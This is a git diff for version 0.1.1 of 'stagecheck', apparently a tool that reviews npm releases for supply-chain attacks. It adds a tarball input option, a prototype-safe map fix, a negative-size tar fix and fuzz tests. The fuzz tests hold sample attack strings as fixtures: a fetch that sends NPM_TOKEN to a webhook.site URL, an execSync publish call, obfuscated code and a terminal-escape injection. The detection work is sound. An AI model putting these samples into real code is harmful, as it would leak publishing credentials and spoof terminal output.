diff --git a/CHANGELOG.md b/CHANGELOG.md index a2d47a6..c182382 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,20 @@ All notable changes to this project are documented here. This project follows [S ## Unreleased +## 0.1.1 + +### Fixed + +- A crafted tarball with a negative entry size made stagecheck loop forever. Such tarballs are now rejected. Found by the new fuzz tests. +- A new dependency whose name matches a built-in object property, such as `constructor`, was not reported as added. +- When npm fails, stagecheck now shows npm's error message instead of the path to npm's log file, and says that a release whose approval failed is still staged. + +### Added + +- `stagecheck ci ` reviews a tarball you packed yourself, and with `--stage-publish` stages exactly that file. +- Property-based fuzz tests (fast-check) for the tar reader, the rules and the reports. +- GitHub releases carry the npm tarball and a signed SLSA build provenance attestation. + ## 0.1.0 First release. diff --git a/README.md b/README.md index 91a893c..f8f8064 100644 --- a/README.md +++ b/README.md @@ -145,7 +145,12 @@ Not on GitHub? `npx stagecheck ci` works in any CI. It writes a Markdown report npx stagecheck ci --stage-publish -- --provenance --access public ``` -The tarball that gets staged is the exact file that was reviewed. It is not packed a second time. +The tarball that gets staged is the exact file that was reviewed. It is not packed a second time. If your pipeline already builds the tarball, for example to sign it or attach it to a release, pass it in and stagecheck reviews and stages that file: + +```sh +npm pack +npx stagecheck ci my-lib-1.2.0.tgz --stage-publish +``` ## What it checks @@ -211,6 +216,7 @@ An entry is a rule id, optionally followed by `:` and a path glob (`*` matches w --no-color Plain output (NO_COLOR is respected too) ci only: +[] Review this tarball instead of packing the project --stage-publish Stage the reviewed tarball if the review passes --summary Also write the Markdown report to this file ``` @@ -238,6 +244,15 @@ stagecheck is a reviewing aid, not a malware scanner. It uses heuristics on the For consumers, tools such as [GuardDog](https://github.com/DataDog/guarddog) or [Socket](https://socket.dev) scan packages and their dependency trees. `npm diff` shows a raw diff without any analysis. stagecheck focuses on the publisher's moment of decision: is this exact tarball what I meant to release? +## Verifying stagecheck itself + +Every release since 0.1.1 is reviewed by stagecheck, staged by the [release workflow](.github/workflows/release.yml) and approved by a maintainer with 2FA. It ships with npm provenance. Each [GitHub release](https://github.com/daniel63194/stagecheck/releases) carries the npm tarball and a signed [SLSA build provenance](https://slsa.dev/provenance) attestation (`.sigstore.json`), so you can check that the file on npm was built from this repository: + +```sh +npm pack stagecheck@0.1.1 +gh attestation verify stagecheck-0.1.1.tgz --repo daniel63194/stagecheck +``` + ## Contributing Found a false positive, or a real attack that slipped through? Please [open an issue](https://github.com/daniel63194/stagecheck/issues/new/choose). Both make the rules better. See [CONTRIBUTING.md](CONTRIBUTING.md) for how rules are added and tested. diff --git a/package-lock.json b/package-lock.json index e5e2ce3..ac14744 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,18 +1,19 @@ { "name": "stagecheck", - "version": "0.1.0", + "version": "0.1.1", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "stagecheck", - "version": "0.1.0", + "version": "0.1.1", "license": "MIT", "bin": { "stagecheck": "dist/cli.js" }, "devDependencies": { "@types/node": "26.6.5", + "fast-check": "4.10.2", "typescript": "7.0.2", "vitest": "5.0.3" }, @@ -808,6 +809,29 @@ "node": ">=12.0.0" } }, + "node_modules/fast-check": { + "version": "4.10.2", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-4.10.2.tgz", + "integrity": "sha512-iK2f+YrcmoeGqk6fA0ea2bptcu/itMIm4NfEozq6N25+aG6h7s5HZbB/k1aV7b5w5sFLMCbbtRUsTVR+BgC3xw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^8.0.0" + }, + "engines": { + "node": ">=12.17.0" + } + }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", @@ -1210,6 +1234,23 @@ "node": "^10 || ^12 || >=14" } }, + "node_modules/pure-rand": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-8.4.2.tgz", + "integrity": "sha512-vvuOGgcuPJAirlHvuQw1TrOiw7ptaIXXmIbNuiNOY6lNGJJH49PQ1Kj4nd783nPdQhQdicgOjVI2yI/9BD6/Ng==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, "node_modules/rolldown": { "version": "1.2.13", "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.2.13.tgz", diff --git a/package.json b/package.json index b1b890e..efd52c1 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "stagecheck", - "version": "0.1.0", + "version": "0.1.1", "description": "Review npm releases before they go live: diffs a staged (or any) package version against the last one and flags supply-chain red flags such as new install scripts, credential access, obfuscated code and exfiltration endpoints. Zero dependencies.", "keywords": [ "npm", @@ -53,6 +53,7 @@ }, "devDependencies": { "@types/node": "26.6.5", + "fast-check": "4.10.2", "typescript": "7.0.2", "vitest": "5.0.3" } diff --git a/src/cli.ts b/src/cli.ts index e9c71bd..b8007d6 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -34,7 +34,7 @@ Usage: stagecheck list List pending staged releases stagecheck review Compare a version with the one before it stagecheck review Compare two versions - stagecheck ci Pack this project and compare it with the published version (for CI) + stagecheck ci [] Compare this project, or a tarball you packed, with npm (for CI) and are package specs (name@1.2.3, name@next) or .tgz files. @@ -177,7 +177,7 @@ async function cmdInteractive(opts: Options): Promise { } } const ok = await stageDecide('approve', item.id); - process.stdout.write(ok ? `Approved ${item.packageName}@${item.version}.\n\n` : 'Approval did not complete.\n\n'); + process.stdout.write(ok ? `Approved ${item.packageName}@${item.version}.\n\n` : 'Approval did not complete (see npm\'s message above). The release is still staged: run stagecheck again to retry.\n\n'); } else if (choice === 'r' || choice === 'reject') { const sure = await ask(`Rejecting permanently deletes this staged version. Reject ${item.packageName}@${item.version}? [y/N] `); if (sure === 'y' || sure === 'yes') { @@ -210,13 +210,25 @@ async function cmdList(opts: Options): Promise { } } -async function cmdCi(opts: Options, passthrough: string[]): Promise { +async function cmdCi(args: string[], opts: Options, passthrough: string[]): Promise { + if (args.length > 1) throw new UsageError('ci takes at most one .tgz file'); + const given = args[0]; + if (given !== undefined && (!TARBALL.test(given) || !existsSync(given))) throw new UsageError(`No such tarball: ${given}`); if (opts.stagePublish) await ensureStageSupport(); const dir = scratchDir(); try { - const after = await packDirectory(process.cwd()); - const tarballPath = join(dir.path, 'package.tgz'); - writeFileSync(tarballPath, after); + // Either the tarball given, or this project packed exactly as npm would. + // Whichever it is, the file that is reviewed is the file that gets staged. + let after: Buffer; + let tarballPath: string; + if (given !== undefined) { + tarballPath = resolve(given); + after = readTgz(tarballPath); + } else { + after = await packDirectory(process.cwd()); + tarballPath = join(dir.path, 'package.tgz'); + writeFileSync(tarballPath, after); + } const { name, version, tag } = manifestOf(after); // Before a version bump (e.g. on a pull request) the local version is already // on npm: compare with it, so the report shows only the unreleased changes. @@ -344,7 +356,7 @@ async function main(argv: string[]): Promise { return failsAt(review, opts.failOn) ? 1 : 0; } case 'ci': { - const review = await cmdCi(opts, passthrough); + const review = await cmdCi(rest, opts, passthrough); return failsAt(review, opts.failOn) ? 1 : 0; } default: diff --git a/src/diff.ts b/src/diff.ts index 6a5ae83..f23a48e 100644 --- a/src/diff.ts +++ b/src/diff.ts @@ -67,9 +67,15 @@ export interface ManifestDiff { readonly entryPoints: Record; } +/** + * An object without a prototype, so keys such as "constructor" or "__proto__" + * (which are valid in package.json) behave like any other key. + */ +const record = (): Record => Object.create(null) as Record; + function asStringMap(value: Json | undefined): Record { - if (!value || typeof value !== 'object' || Array.isArray(value)) return {}; - const out: Record = {}; + const out = record(); + if (!value || typeof value !== 'object' || Array.isArray(value)) return out; for (const [k, v] of Object.entries(value)) out[k] = typeof v === 'string' ? v : JSON.stringify(v); return out; } @@ -79,20 +85,22 @@ function binMap(manifest: Manifest): Record { const bin = manifest.bin; if (typeof bin === 'string') { const name = typeof manifest.name === 'string' ? manifest.name.replace(/^@[^/]+\//, '') : 'bin'; - return { [name]: bin }; + const out = record(); + out[name] = bin; + return out; } return asStringMap(bin); } export function diffMaps(before: Record, after: Record): MapDiff { - const added: Record = {}; - const removed: Record = {}; - const changed: Record = {}; + const added = record(); + const removed = record(); + const changed = record<{ from: string; to: string }>(); for (const [k, v] of Object.entries(after)) { - if (!(k in before)) added[k] = v; + if (!Object.hasOwn(before, k)) added[k] = v; else if (before[k] !== v) changed[k] = { from: before[k] as string, to: v }; } - for (const [k, v] of Object.entries(before)) if (!(k in after)) removed[k] = v; + for (const [k, v] of Object.entries(before)) if (!Object.hasOwn(after, k)) removed[k] = v; return { added, removed, changed }; } @@ -106,8 +114,8 @@ export function diffManifests(before: Manifest | null, after: Manifest): Manifes } const entryPoints: ManifestDiff['entryPoints'] = {}; for (const field of ENTRY_FIELDS) { - const from = field in old ? JSON.stringify(old[field]) : null; - const to = field in after ? JSON.stringify(after[field]) : null; + const from = Object.hasOwn(old, field) ? JSON.stringify(old[field]) : null; + const to = Object.hasOwn(after, field) ? JSON.stringify(after[field]) : null; if (from !== to) entryPoints[field] = { from, to }; } return { diff --git a/src/npm.ts b/src/npm.ts index c6dac76..12fc329 100644 --- a/src/npm.ts +++ b/src/npm.ts @@ -109,13 +109,23 @@ export class NpmError extends Error { } } -function lastLine(text: string): string { - return text.trim().split(/\r?\n/).filter(Boolean).pop() ?? ''; +const NOISE = /^(?:A complete log of this run|Log files were not written|errno |syscall |path )/i; + +/** npm's own explanation of a failure: the error code and its first message lines. */ +export function npmErrorDetail(r: NpmResult): string { + const lines = `${r.stderr}\n${r.stdout}`.split(/\r?\n/).map((l) => l.trim()).filter(Boolean); + const errors = lines + .filter((l) => /^npm (?:error|ERR!)/.test(l)) + .map((l) => l.replace(/^npm (?:error|ERR!)\s*/, '')) + .filter((l) => l !== '' && !NOISE.test(l)); + const code = errors.find((l) => /^code /.test(l))?.slice(5); + const message = errors.filter((l) => !/^code /.test(l)).slice(0, 2).join(' '); + if (code || message) return [code, message].filter(Boolean).join(': '); + return lines.filter((l) => !NOISE.test(l)).pop() ?? `exit code ${r.code}`; } function fail(what: string, r: NpmResult): never { - const detail = lastLine(r.stderr) || lastLine(r.stdout) || `exit code ${r.code}`; - throw new NpmError(`${what} failed: ${detail.replace(/^npm (?:error|ERR!)\s*/, '')}`, r); + throw new NpmError(`${what} failed: ${npmErrorDetail(r)}`, r); } /** A package spec we are willing to pass to npm: a name, optionally @ an exact version or dist-tag. */ diff --git a/src/tar.ts b/src/tar.ts index 39b1c9b..6cebe86 100644 --- a/src/tar.ts +++ b/src/tar.ts @@ -76,6 +76,8 @@ export function readTarball(archive: Uint8Array, options: ReadTarballOptions = { if (header.every((b) => b === 0)) break; // end of archive const size = octal(header, 124, 12); + // A negative size would move the cursor backwards and loop forever. + if (!Number.isSafeInteger(size) || size < 0) throw new Error('Invalid tar header: bad entry size'); const type = String.fromCharCode(header[156] ?? 0); const dataStart = offset + BLOCK; const dataEnd = dataStart + size; diff --git a/test/cli.test.ts b/test/cli.test.ts index e014d08..3e58b98 100644 --- a/test/cli.test.ts +++ b/test/cli.test.ts @@ -167,6 +167,21 @@ describe('stagecheck ci', () => { expect(readFileSync(summary, 'utf8')).toContain('npm stage approve 11111111-2222-4333-8444-555555555555'); }); + it("shows npm's reason when staging fails, not the log file path", () => { + const stagePublishError = [ + 'npm error code ENEEDAUTH', + 'npm error need auth This command requires you to be logged in to https://registry.npmjs.org/', + 'npm error need auth You need to authorize this machine using `npm adduser`', + 'npm error A complete log of this run can be found in: /Users/x/.npm/_logs/debug-0.log', + '', + ].join('\n'); + const { state } = setState({ ...released, stagePublishError }); + const r = run(['ci', '--stage-publish'], { FAKE_NPM_STATE: state }); + expect(r.code).toBe(2); + expect(r.stderr).toContain('npm stage publish failed: ENEEDAUTH: need auth This command requires you to be logged in'); + expect(r.stderr).not.toContain('complete log'); + }); + it('refuses to stage a release with high-risk findings', () => { const { state, log } = setState({ packCwd: tgz.worm, packages: { demo: { versions: { '1.0.1': tgz.clean }, tags: { latest: '1.0.1' } } } }); const r = run(['ci', '--stage-publish'], { FAKE_NPM_STATE: state }); @@ -175,6 +190,16 @@ describe('stagecheck ci', () => { expect(calls(log).some((c) => c[1] === 'publish')).toBe(false); }); + it('reviews and stages a tarball you packed yourself, without packing again', () => { + const { state, log } = setState(released); + const r = run(['ci', tgz.clean as string, '--stage-publish'], { FAKE_NPM_STATE: state }); + expect(r.code).toBe(0); + expect(r.stdout).toContain('demo 1.0.0 → 1.0.1'); + expect(calls(log).some((c) => c[0] === 'pack' && c.includes('--pack-destination'))).toBe(false); + expect(calls(log).find((c) => c[1] === 'publish')?.[2]).toBe(tgz.clean); + expect(run(['ci', 'missing.tgz'], { FAKE_NPM_STATE: state }).stderr).toContain('No such tarball'); + }); + it('compares with the same version when it is already published', () => { const { state } = setState(); const r = run(['ci'], { FAKE_NPM_STATE: state }); diff --git a/test/fake-npm.mjs b/test/fake-npm.mjs index c7f0a31..8b9e21d 100644 --- a/test/fake-npm.mjs +++ b/test/fake-npm.mjs @@ -58,6 +58,9 @@ if (cmd === '--version') { out(`${item.packageName}-${item.version}-${item.id}.tgz`); } else if (cmd === 'stage' && (sub === 'approve' || sub === 'reject')) { out(`Staged package ${third} ${sub === 'approve' ? 'approved and published successfully' : 'has been rejected'}.`); +} else if (cmd === 'stage' && sub === 'publish' && state.stagePublishError) { + process.stderr.write(state.stagePublishError); + process.exit(1); } else if (cmd === 'stage' && sub === 'publish') { out(`+ ${state.stagePublishAs ?? 'demo@1.0.1'} (staged with id 11111111-2222-4333-8444-555555555555)`); } else { diff --git a/test/fuzz.test.ts b/test/fuzz.test.ts new file mode 100644 index 0000000..cde5020 --- /dev/null +++ b/test/fuzz.test.ts @@ -0,0 +1,216 @@ +// Property-based tests (fuzzing) with fast-check. Package tarballs and their +// package.json are untrusted input, so the parser, the rules and the reports +// must cope with anything: never crash with a non-Error, never hang, never +// return unsafe paths, never print raw control characters. +import fc from 'fast-check'; +import { gzipSync } from 'node:zlib'; +import { describe, expect, it } from 'vitest'; +import { addedLines, diffManifests, type Manifest } from '../src/diff.js'; +import { compareVersions } from '../src/npm.js'; +import { displaySafe, renderMarkdown, renderText } from '../src/report.js'; +import { ignoreMatcher, reviewFiles } from '../src/review.js'; +import { readTarball, type TarFile } from '../src/tar.js'; +import { makeTarball } from './helpers.js'; + +const RUNS = { numRuns: 200 }; + +/** Paths in a parsed tarball must never escape the package folder. */ +function assertSafePaths(files: Map): void { + for (const [path, file] of files) { + expect(path).toBe(file.path); + expect(path).not.toMatch(/^\/|\\|(?:^|\/)\.\.?(?:\/|$)|\/\/|\/$/); + expect(path.length).toBeGreaterThan(0); + } +} + +/** Runs `fn`; returns normally or throws an Error instance, nothing else. */ +function parsesOrRejects(input: Uint8Array): void { + try { + assertSafePaths(readTarball(input, { maxBytes: 1 << 20 })); + } catch (error) { + expect(error).toBeInstanceOf(Error); + } +} + +const segment = fc.oneof( + fc.stringMatching(/^[A-Za-z0-9_-][A-Za-z0-9._-]{0,24}$/), + fc.string({ unit: fc.constantFrom('a', 'é', '日', '😀', '-', '_', ' '), minLength: 1, maxLength: 12 }).filter((s) => s.trim() === s && s !== ''), +); +const path = fc.array(segment, { minLength: 1, maxLength: 8 }).map((parts) => parts.join('/')); +const fileSet = fc.uniqueArray(fc.tuple(path, fc.uint8Array({ maxLength: 2000 })), { selector: ([p]) => p, maxLength: 8 }); + +/** Overwrites bytes at random positions and maybe truncates. */ +const mutation = fc.record({ + writes: fc.array(fc.tuple(fc.nat(), fc.integer({ min: 0, max: 255 })), { maxLength: 24 }), + cut: fc.option(fc.nat(), { nil: undefined }), +}); +function mutate(data: Buffer, m: { writes: [number, number][]; cut: number | undefined }): Buffer { + const out = Buffer.from(data); + for (const [at, value] of m.writes) out[at % out.length] = value; + return m.cut === undefined ? out : out.subarray(0, m.cut % (out.length + 1)); +} + +describe('fuzz: tar reader', () => { + it('round-trips any set of files and paths', () => { + fc.assert( + fc.property(fileSet, fc.boolean(), (entries, gnu) => { + const files = readTarball(makeTarball(Object.fromEntries(entries.map(([p, d]) => [p, Buffer.from(d)])), { gnu })); + expect([...files.keys()].sort()).toEqual(entries.map(([p]) => p).sort()); + for (const [p, d] of entries) expect(files.get(p)?.data.equals(Buffer.from(d))).toBe(true); + }), + RUNS, + ); + }); + + it('survives random bytes, raw or gzipped', () => { + fc.assert( + fc.property(fc.uint8Array({ maxLength: 4096 }), fc.boolean(), (bytes, gzip) => { + parsesOrRejects(gzip ? gzipSync(bytes) : bytes); + }), + RUNS, + ); + }); + + it('survives corrupted and truncated archives', () => { + fc.assert( + fc.property(fileSet, mutation, fc.boolean(), (entries, m, gzip) => { + const tar = makeTarball(Object.fromEntries(entries.map(([p, d]) => [p, Buffer.from(d)])), { gzip: false }); + const broken = mutate(tar, m); + parsesOrRejects(gzip ? gzipSync(broken) : broken); + }), + RUNS, + ); + }); + + it('survives any value in the size field, including negative ones', () => { + const sizeField = fc.oneof( + fc.integer({ min: -1_000_000, max: 1_000_000 }).map((n) => n.toString(8)), + fc.string({ unit: fc.constantFrom('-', '+', ' ', '0', '1', '7', '8', 'x', '\0'), maxLength: 12 }), + ); + fc.assert( + fc.property(sizeField, (size) => { + const tar = makeTarball({ 'a.txt': 'x'.repeat(600), 'b.txt': 'y' }, { gzip: false }); + const header = 512; // the first entry after the package/ folder + tar.fill(0, header + 124, header + 136); + tar.write(size, header + 124, 'latin1'); + parsesOrRejects(tar); + }), + RUNS, + ); + }); +}); + +const awkwardKey = fc.oneof(fc.string({ maxLength: 12 }), fc.constantFrom('__proto__', 'constructor', 'toString', 'hasOwnProperty', 'postinstall', 'install', 'kleur')); +const manifestField = fc.oneof( + fc.jsonValue({ maxDepth: 2 }), + fc.dictionary(awkwardKey, fc.oneof(fc.string({ maxLength: 40 }), fc.jsonValue({ maxDepth: 1 })), { maxKeys: 6 }), +); +const manifest = fc.record( + { + name: fc.oneof(fc.constant('demo'), fc.jsonValue({ maxDepth: 1 })), + version: fc.oneof(fc.constantFrom('1.0.0', '1.0.1', '0.0.0-stage', 'v2', ''), fc.jsonValue({ maxDepth: 1 })), + scripts: manifestField, + dependencies: manifestField, + optionalDependencies: manifestField, + peerDependencies: manifestField, + bin: manifestField, + main: manifestField, + exports: manifestField, + }, + { requiredKeys: [] }, +); +const code = fc.oneof( + fc.string({ maxLength: 400 }), + fc.constantFrom( + "require('child_process').execSync('npm publish')", + "fetch('https://webhook.site/x', { body: process.env.NPM_TOKEN })", + `var _0x1a2b=${'"\\x41"'.repeat(50)};`, + '\u001b[2K\u001b[1A‮\r| injected |', + ), +); +const pkgFiles = fc.record({ + manifest: fc.oneof(manifest.map((m) => JSON.stringify(m)), fc.string({ maxLength: 60 })), + files: fc.dictionary(fc.constantFrom('index.js', 'lib/a.js', 'bin/cli', 'install.js', 'x.d.ts', 'data.bin', 'README.md'), code, { maxKeys: 4 }), +}); +function toFiles(p: { manifest: string; files: Record }): Map { + return readTarball(makeTarball({ 'package.json': p.manifest, ...p.files })); +} + +describe('fuzz: review', () => { + it('reviews any pair of packages without throwing, with well-formed findings and safe reports', () => { + fc.assert( + fc.property(fc.option(pkgFiles, { nil: null }), pkgFiles, fc.option(fc.string({ maxLength: 20 }), { nil: undefined }), (before, after, stagedBy) => { + const review = reviewFiles(before ? toFiles(before) : null, toFiles(after), stagedBy === undefined ? {} : { stagedBy, previousPublisher: 'alice' }); + for (const f of review.findings) { + expect(['high', 'medium', 'low']).toContain(f.severity); + expect(f.rule).toMatch(/^[a-z][a-z0-9-]*$/); + } + expect(review.counts.high + review.counts.medium + review.counts.low).toBe(review.findings.length); + // No raw control characters may reach the terminal or the Markdown summary. + expect(renderText(review, { verbose: true })).not.toMatch(/[\u0000-\u0009\u000b-\u001f\u007f-\u009f‪-‮⁦-⁩]/); + expect(renderMarkdown(review)).not.toMatch(/[\u0000-\u0009\u000b-\u001f\u007f-\u009f‪-‮⁦-⁩]/); + }), + RUNS, + ); + }); + + it('diffs manifests without inheriting keys from Object.prototype', () => { + fc.assert( + fc.property(fc.dictionary(awkwardKey, fc.string({ maxLength: 10 }), { maxKeys: 5 }), (deps) => { + const diff = diffManifests({ name: 'demo', version: '1.0.0' }, { name: 'demo', version: '1.0.1', dependencies: deps } as Manifest); + expect(Object.keys(diff.dependencies.dependencies.added).sort()).toEqual(Object.keys(deps).sort()); + expect(Object.keys(diff.dependencies.dependencies.changed)).toEqual([]); + }), + RUNS, + ); + }); +}); + +describe('fuzz: helpers', () => { + it('addedLines returns exactly the lines a change introduces', () => { + const lines = fc.array(fc.constantFrom('a', 'b', 'c', '', 'd e'), { maxLength: 12 }); + fc.assert( + fc.property(lines.filter((l) => l.length > 0), lines, (before, extra) => { + const text = before.join('\n'); + expect(addedLines(text, text)).toEqual([]); + expect(addedLines(text, [...before, ...extra].join('\n')).sort()).toEqual([...extra].sort()); + }), + RUNS, + ); + }); + + it('displaySafe removes every unsafe character and keeps everything else', () => { + fc.assert( + fc.property(fc.string({ unit: 'binary', maxLength: 80 }), (s) => { + const out = displaySafe(s); + expect(out).not.toMatch(/[\u0000-\u001f\u007f-\u009f؜‎‏‪-‮⁦-⁩]/); + if (!/[\u0000-\u001f\u007f-\u009f؜‎‏‪-‮⁦-⁩]/.test(s)) expect(out).toBe(s); + }), + RUNS, + ); + }); + + it('compareVersions is a consistent ordering', () => { + const semver = fc + .tuple(fc.nat(20), fc.nat(20), fc.nat(20), fc.option(fc.constantFrom('alpha', 'beta.1', 'rc.2', 'stage'), { nil: undefined })) + .map(([a, b, c, pre]) => `${a}.${b}.${c}${pre ? `-${pre}` : ''}`); + fc.assert( + fc.property(semver, semver, (a, b) => { + expect(compareVersions(a, a)).toBe(0); + expect(Math.sign(compareVersions(a, b))).toBe(-Math.sign(compareVersions(b, a))); + }), + RUNS, + ); + }); + + it('ignore globs: ** matches every path, a bare rule matches every file', () => { + fc.assert( + fc.property(path, (p) => { + expect(ignoreMatcher(['child-process:**'])({ rule: 'child-process', severity: 'medium', message: '', file: p })).toBe(true); + expect(ignoreMatcher(['child-process'])({ rule: 'child-process', severity: 'medium', message: '', file: p })).toBe(true); + expect(ignoreMatcher(['dynamic-code:**'])({ rule: 'child-process', severity: 'medium', message: '', file: p })).toBe(false); + }), + RUNS, + ); + }); +}); diff --git a/test/helpers.ts b/test/helpers.ts index 27ba3d9..d4b6e3b 100644 --- a/test/helpers.ts +++ b/test/helpers.ts @@ -39,9 +39,10 @@ export function makeTarball(files: Record, options: { root?: stri const name = Buffer.from(`${full}\0`, 'utf8'); parts.push(header('././@LongLink', name.length, 0o644, 'L'), pad(name)); } else { + // The length prefix counts bytes, including itself. const body = ` path=${full}\n`; - let len = body.length; - while (`${len}${body}`.length !== len) len = `${len}${body}`.length; + let len = Buffer.byteLength(body); + while (Buffer.byteLength(`${len}${body}`) !== len) len = Buffer.byteLength(`${len}${body}`); const record = Buffer.from(`${len}${body}`, 'utf8'); parts.push(header('PaxHeader', record.length, 0o644, 'x'), pad(record)); } diff --git a/test/rules.test.ts b/test/rules.test.ts index 3dabdcb..64c9f7b 100644 --- a/test/rules.test.ts +++ b/test/rules.test.ts @@ -64,6 +64,11 @@ describe('package.json rules', () => { expect(rules(r)).toEqual(['high:dependency-source']); }); + it('reports dependencies whose names collide with Object.prototype', () => { + const r = review(cleanPackage(), cleanPackage('1.0.1', {}, { dependencies: { kleur: '^4.1.5', constructor: '1.0.0' } })); + expect(r.findings.find((f) => f.rule === 'dependency-added')?.evidence).toBe('constructor@1.0.0'); + }); + it('flags new command-line programs', () => { expect(rules(review(cleanPackage(), cleanPackage('1.0.1', { 'cli.js': '#!/usr/bin/env node\n' }, { bin: { demo: 'cli.js' } })))).toContain('medium:bin-change'); }); diff --git a/test/tar.test.ts b/test/tar.test.ts index 173c1dc..c92e93c 100644 --- a/test/tar.test.ts +++ b/test/tar.test.ts @@ -40,6 +40,13 @@ describe('readTarball', () => { expect(() => readTarball(makeTarball({ 'big.txt': 'x'.repeat(100_000) }), { maxBytes: 10_000 })).toThrow(); }); + it('rejects a negative entry size instead of looping forever', () => { + const tar = makeTarball({ 'a.txt': 'x' }, { gzip: false }); + tar.fill(0, 512 + 124, 512 + 136); + tar.write('-1000', 512 + 124, 'latin1'); + expect(() => readTarball(tar)).toThrow(/bad entry size/); + }); + it('reads a tarball produced by npm pack', () => { const dir = mkdtempSync(join(tmpdir(), 'stagecheck-test-')); try {